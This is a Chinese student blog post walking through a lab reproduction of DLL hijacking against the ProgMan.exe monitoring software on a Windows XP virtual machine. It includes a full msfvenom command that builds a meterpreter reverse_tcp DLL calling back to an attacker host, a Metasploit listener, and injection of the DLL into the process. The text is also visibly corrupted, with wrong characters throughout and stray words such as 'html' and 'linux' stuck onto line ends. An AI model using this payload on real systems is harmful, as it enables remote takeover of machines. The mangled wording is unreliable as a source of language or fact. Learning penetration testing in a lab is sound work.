本文首发于个人我的博客,记录了我在实验室学习渗透测试所作的第一个漏洞复现,但愿能对您有所帮助!
若是文章有错,请前往个人我的博客核对,或者在评论区留言告知,谢谢html
紧张刺激史无前例突如其来惨绝人寰的线上期末考试结束了,我也要开始作实验室的工做了,这学期由于学姐在准备毕业,我也划水了很久,中间只作过一些小任务,那么这个暑假就要把该还的账还清了(忽然泪目)。linux
我在期末考试前和博士联系过了,说本身想要学习渗透测试方面的内容,那么第一个任务就是复现DLL劫持。谨以此博,记念我考后生还(划掉)的第一个小任务。git
啊啊啊啊正在作的时候那个新带个人学长跟我说他也试了下,没实现…没事,我尽管作我本身的。github
Kali用得好,牢饭吃到饱...啊不是,工具无罪。shell
Kali以前安装过,还在上面配置了Mulval(攻击图项目的第一个任务),因此此次也是轻车熟路,除了中间“选择安装软件”多是由于网络问题吧,失败了两次。编程
如何在VMWare上安装Kali Linux 2020.2版本的虚拟机详见该文。windows
原本我想用我家那台十年前的机器(前段时间升级了下内存和硬盘,还能用),但又怕搞坏了很差交代,因此仍是老老实实下虚拟机吧。安全
这个在官网没找到资源,就随便在其余地方找了个资源,安全性没法保证,凑活着用吧。网络
具体安装过程...傻瓜式操做应该不须要教程吧?tcp
界面提示我大概要二三十分钟,实际过程没那么长,一局游戏都没打完呢...
首先是紫金桥监控组态软件 V6.5。我在xp上打不开这个网站,因此就在win10下下载后利用vmtools(xp系统搭建好后自动下载了vmtools,挺省心的)将该软件复制了过来。
另外也要安装Process Explorer。
开启进程ProgMan.exe(即紫金桥监控组态软件,在安装目录下能够找到该执行文件),打开procexp。其实二者无关前后。在procexp下能够看到ProgMan.exe进程,而后按照个人选项配置,能够看到下面的窗口。
与注册表相对比:
这说明咱们的ws2help.dll知足dll劫持的要求。
首先要配置Python2.7环境,这个没必要多说。安装好后,pip下载所须要的包pefile,这个包没多大,不必再换源了。下载好后,在Github上下载咱们须要的一个DLL_Hijacker.py文件,而后cd到该文件所在位置,在命令行中执行:
DLL_Hijacker.py c:\WINDOWS\system32\ws2help.dll
结果以下:
同时,在该目录下,ws2help.cpp文件也已经生成了。
而后将ws2help.cpp编译为ws2help.dll。这一步须要用到VC++6.0,推荐直接在靶机中安装(Win10不太兼容)。具体步骤以下:
在VC++ 6.0中新建一个Win32 Dynamic-Link Library工程,名称任意。
建立一个简单的DLL工程
将ws2help.cpp中的代码复制到该工程Source File文件夹下的XXX.cpp(XXX为工程名)文件中,注意加上如图所示的头文件。
若是刚开始就直接编译ws2help.cpp,会报错,解决方法是先编译同目录下的StdAfx.cpp文件,没有错误后再编译ws2help.cpp。编译方法为“组建-->编译xxx.cpp”。
编译无误后,点击“组建-->组建xxx.dll”,正确完成后,能够在工程目录下的Debug文件夹下找到生成的dll文件。
以后,将该dll文件放入与progman.exe同一目录下,再次打开ProgMan.exe,会有弹窗提示。
进入kali,检查msfvenom是否正常(在命令行中输入msfvenom
)。若正常,则在命令行键入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本机IP> LPORT=1234 -f dll >/root/ws2help.dll
以后,会在root下生成咱们须要的ws2help.dll文件,将该文件拷贝到靶机(XP)下。这一步可能会比较麻烦,能够将该文件放入压缩包内,再进行复制粘贴。
在Kali命令行中输入msfconsole
开启msf,利用msf中的handler模块开启监听:
在靶机中开启进程ProgMan.exe,利用Dllinject.exe,将ws2help.dll注入到进程。这里好像对ws2help.dll和Dllinject.exe的位置也有要求,最开始我把它们俩同时放在ProgMan.exe所在目录下,但Dllinject.exe没法正常运行。以后我把ws2help.dll放在桌面,Dllinject.exe放在其余目录下,能够正常运行了。
找到ProgMan进程,点击注入,注入时要选择ws2help.dll所在位置,其余不用填。回到Kali,发现已经提权成功了。
实验结束。
本实验对于刚刚接触渗透测试的我来讲,说难也不难,但也确实花了很长时间,主要就是在编译cpp文件为dll时出了问题。我一直在尝试在命令行界面直接经过g++命令来进行编译,但结果老是错误的。最终,在王博士的提示下,我用了VC++6.0来进行编译。一开始也出了问题,由于VC++6.0版本过于古老,和Win10不兼容,不管我怎么编译,都会报错。在网上查到了解决方法,但一一尝试后,都没有用。最后只得下载了Win7虚拟机,别问我为何不直接在Win XP下下载,由于我一开始觉得XP也不兼容...嘛,反正都解决啦,无论那么多啦!
这只是渗透测试之路的起点,就遇到了难啃的硬骨头,之后会遇到多少麻烦可想而知,但我相信本身能够坚持学下去,加油!